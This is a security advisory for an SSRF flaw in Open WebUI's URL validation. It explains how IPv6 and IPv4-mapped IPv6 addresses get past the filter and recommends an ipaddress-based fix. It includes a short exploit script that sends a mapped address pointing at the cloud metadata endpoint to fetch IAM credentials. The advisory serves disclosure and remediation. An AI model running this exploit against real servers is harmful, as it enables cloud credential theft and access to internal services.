CVE-2026-45331

# SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in `validate_url()` ## Summary `validate_url()` in `backend/open_webui/retrieval/web/utils.py` calls `validators.ipv6(ip, private=True)`, but the `validators` library does NOT implement the `private` keyword for IPv6 — the call raises a `ValidationError` (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (`::ffff:10.0.0.1`) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (`0.0.0.0/8`, `100.64.0.0/10`, `192.0.0.0/24`, etc.) are not blocked. The vulnerability has existed since the `validate_url()` function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls `validate_url()`, including `/api/v1/retrieval/process/web`, `/api/v1/images/edit`, and others. ## Affected code `backend/open_webui/retrieval/web/utils.py validate_url()`: ```python if validators.ipv6(ip, private=True): # ValidationError is falsy — never raises raise ValueError(...) ``` ## Proof of concept ```python import validators print(validators.ipv6("::1", private=True)) # ValidationError(func=ipv6, args={'reason': "ipv6() got an unexpected keyword argument 'private'", ...}) ``` End-to-end exploit: ```python import requests, ipaddress OPEN_WEBUI_URL = "https://target" TOKEN = "..." TARGET_IPV4 = "169.254.169.254" # AWS IMDSv1 mapped = "::ffff:" + TARGET_IPV4 requests.post(f"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web", headers={"Authorization": f"Bearer {TOKEN}"}, json={"collection_name": "", "url": f"http://[{mapped}]/latest/meta-data/iam/security-credentials/"}) ``` ## Impact Any authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration. ## Recommended fix Replace the `validators` library calls with stdlib `ipaddress`: ```python import ipaddress addr = ipaddress.ip_address(ip) if addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified: raise ValueError(...) # also unwrap IPv4-mapped IPv6 and re-check: if isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped: addr_v4 = addr.ipv4_mapped if addr_v4.is_private or addr_v4.is_loopback or ...: raise ValueError(...) # plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list). ``` ## Related but separate advisories - Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6 - DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r - urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx - Playwright loader redirect: GHSA-jrfp-m64g-pcwv - Missing `validate_url()` call in image_generations: GHSA-h7cc-wwjp-5xqh ## Credits - **Dor Konis (dkonis, GE Vernova)** — first to identify the `validators.ipv6(private=True)` silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report). - **wlayzz** — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv. Subsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing `validate_url()` once resolves all of them.